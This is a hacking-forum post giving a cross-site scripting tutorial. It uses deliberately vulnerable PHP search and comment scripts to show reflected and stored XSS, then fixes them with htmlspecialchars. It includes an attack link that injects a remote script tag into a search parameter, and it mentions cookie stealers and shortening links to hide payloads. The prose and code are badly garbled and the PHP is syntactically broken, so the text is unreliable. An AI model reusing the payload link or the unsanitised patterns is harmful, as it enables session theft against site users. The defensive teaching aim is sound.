Hello There, Guest! Login Register
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.

XSS Tutorial

  • 0 Vote(s) - 0 Average

10-03-2014, 02:23 AM #1
SickSpawn Offline You have an error in your SQL syntax; ***
TeaM MaDLeeTs
Posts:85 Threads:28 Joined:Sep 2014 Reputation: 2
Mood: Hacker
XSS (Cross Site Scripting)

I posted this on Byteoverflow awhile ago and DECIDED to post it here. I hope to do these for a bunch of different vulnerabilities. In this particular one I will be doing XSS aka Cross Site Scripting. Often overlooked and XSS vulnerabilities is Considered useless. This is FAR from the case. XSS vulns are very Dangerous and Need to be Taken Seriously just like sqli vulns have. The Possibilities When it comes to have endless XSS vulns. I Will Be Discussing the two types of XSS vulns today, Persistent and Non-Persistent. If you have any questions feel free to ask Them here.

Non Persistent

Non Persistent XSS vulnerabilities is the when user input is not sanitized and used Properly Immediately after the request is made??. THESE ARE GeneRally not as Dangerous, But definitely Need to be addressed and Taken Care of. With Persistent Non vulns Would you usually have to trick someone into Clicking the link with the XSS payload. Whereas with persistent vulns the payload is embedded in a normal page and people can stumble Across Even without knowing it, we Will talk more about That later. Here is a simple example of a Non-Persistent XSS vulnerability. I will be doing a simple search script That uses GET for this example.

PHP Code:
<form action "" method "get"
Search Value: <input type 'text' name 'squery'
input type 'submit' name 'search' value 'Search'
if (isset ($ _ GET ['squery'])) {
SEARCH_QUERY = $ _GET ['squery]; 
echo "Search results for $ SEARCH_QUERY"; 
// Continue with search code here 


So in this simple code what's happening is it is taking the user input (the search value) then using it in a GET request to later use in a search query. To the average user this looks like a simple search That there is nothing wrong with.

[Image: a4609e0411.png]

But the user input is not being sanitized Properly. The GET request is being used in year echo statement without being sanitized. Means That Could users input HTML and have it execute.

[Image: 9500bd637e.png]

[Image: 99e42c85c5.png]

As you can see I was Able to input HTML, in this case the font tag and have it execute. You can see When I submitted the form the WAS red font. This is a huge problem. This now allows attackers to input the which can lead to Javascript Java Drive By's, Cookie Stealing, and many other exploits.

[Image: aa0b4d8035.png]

[Image: 56d7dad37c.png]

Again, you can see the JavaScript That is getting executed. In this case it is just a simple alert, But can it BE any Javascript payload year attacker might have. What Makes Non Persistent Now this is it does not Affect That any person goes to the search page. However if year attacker can get someone to click on a link it can Affect Them.

Now all have to do Would attacker year is get the victim to click a link with Their malicious payload.

http://example.com/search.php?squery=<script src = 'link to payload'> </ script> & search = Search

And THEY always Could Shorten the link to make it less Obvious.


Now let's look at Where the vulnerability exists in the code and how to fix it.

$ SEARCH_QUERY = $ _GET ['squery];
echo "Search results for $ SEARCH_QUERY";

So Those two lines of code in what is happening is it's getting the user input via the squery GET value. It is the then echoing it out to the user. We need to Properly sanitize the $ SEARCH_QUERY variable Before we use it in year echo. We can do this using htmlspecialchars or htmlentities.

$ SEARCH_QUERY = htmlspecialchars ($ _ GET ['squery']);
echo "Search results for $ SEARCH_QUERY";


$ SEARCH_QUERY = htmlentities ($ _ GET ['squery']);
echo "Search results for $ SEARCH_QUERY";

[Image: f458616aee.png]

Now you can see INSTEAD of treating the variable as HTML and executing it, it is treating it as a string and Completely ignoring the FACT That it is HTML.

Persistent (Stored)

Persistent Stored XSS vulnerabilities occur or the when user input is Stored on the server (usually in the DB) then later displayed on a page without proper sanitation. Persistent XSS vulnerabilities is much more Dangerous than Non Persistent. THESE types of vulnerabilities do not Require anyone to click a link or Anything. THEY CAN BE browsing a site just like normal and come Across the malicious payload Even without knowing. I will be showing you a simple year with comments example script.

Here is the simple script We will be using for year example.

[Image: 4f4bf5ae1f.png]

PHP Code:
<b> <u> <font size=6Title </font> </u> < b
div id "content"
sadjasldjasd asdj asdj asdas <br
d I <br
dsad sadsaldjas <br
dasdnasd ankd Kingdom <br
sadjalkjd ad asd <br
asdlas djas d <br
asd Sadki sadj <br
asd alsdksa dsadj sadj sadsad lj <br
Sadna sdlasd <br
<? php 
if (! mysql_connect ("localhost""root""root")) {
die (
'MySQL connection failed'); 

// Post comment stuff 
if (isset ($ _POST ['submitcomment'])) {
comment mysql_real_escape_string ($ _POST ['comment']); 
if (
mysql_query ("INSERT INTO xss.comments (comment) VALUES ('". $ comment"')")) {
"Comment posted <br>" 
} Else {
"Failed to post comment <br>" 

"<b> <u> <font size = 4> Comments </ font> </ u> </ b> <br>" 
get_comments mysql_query ("SELECT * FROM xss.comments"); 
if (
mysql_num_rows ($ get_comments) == 0) {
"No comments to display <br>" 
} Else {
while ($ 
mysql_fetch_array ($ get_comments)) {
comment = $ ['comment']; 
"$ comment <hr>"

<form action = "" method = "post"> 
Submit Comment: <br> 
<textarea rows = "4 'cols = '50' name = 'comment'> </ textarea> <br> 
<input type = 'submit' name = 'submitcomment' value = 'Post Comment'> 
</ form> 

So again, to the normal user Would this look just like a normal comment section. In reality these symbols is not being sanitized Correctly comments.

[Image: db496ee32b.png]

[Image: 21d5cf1f7c.png]

As you can see the comment I posted is now red. This is very bad, people can now input Their own HTML Where it is Stored in the DB and displayed to anyone That That article looks at.

[Image: 1c351614be.png]

[Image: 5a301b2032.png]

That goes to anyone Now That article That Will see alert box. This is a serious issue. THES is obviously not what attackers Would do though. Would THEY embed Their payload with a legit comment and you Would Never Even Know You hit it UNLESS you view the source.

[Image: 96cf8856a2.png]

Now When someone Would That view article Would THEY see nothing fishy, But Would THEY have executed the attackers payload.

[Image: 43dd12eb88.png]

If you inspect element the comment you can see the JavaScript That is getting executed.

[img] http://puu.sh/3VGco/2d02404b02.png [/img]

This is a huge issue and many innocent people Makes Victims and open for attack Even without realizing what Happened.

Let's take a look at Where the vulnerability occurs.

while ($ c = mysql_fetch_array ($ get_comments)) {
$ comment = $ c ['comment'];
echo "$ comment <hr>";

Right there is Where the code is fetching the comments from the database and displaying Them to the user. The comments have not being sanitized Properly Before being echo'd out to the users. Again we can use htmlspecialchars or htmlentities to sanitize the comments.

while ($ c = mysql_fetch_array ($ get_comments)) {
$ comment = htmlspecialchars ($ c ['comment']);
echo "$ comment <hr>";


while ($ c = mysql_fetch_array ($ get_comments)) {
$ comment = htmlentities ($ c ['comment']);
echo "$ comment <hr>";

[Image: bbbd14443a.png]

You can now see That the payload is no longer getting Treated as HTML therefore not getting executed. Keep in mind these symbols is just very simple examples I wrote up for this thread. Next time you have a web app writing or working on Something please keep in mind these symbols. THES has always overlooked Which is probably Why They are so common. You can come Across these symbols everywhere! I was recently doing work for a client and found about 12 XSS vulnerabilities. 8 or 10 of Them being persistent in Their dashboard. Which Meant Could someone have inputted the cookie stealer and wait for Them to load the page in the dashboard with the stealer. Then logged into Their panel for Them Which Would BE BAD THEY WERE STORING considering personal information of Customers there. If You Would like me to disclose my Findings in That project let me know and I will be glad to. Anyway, I hope you understand more about Some of XSS now and how to Prevent it. It's a very easy thing to Prevent, But at the same time people always forget about it. Anything I missed or if you have Anything to add feel free to post it here.


[#] Twitter: sickspawnhy
[#] Jabber : [email protected]

Forum Jump:

Users browsing this thread:1 Guest(s)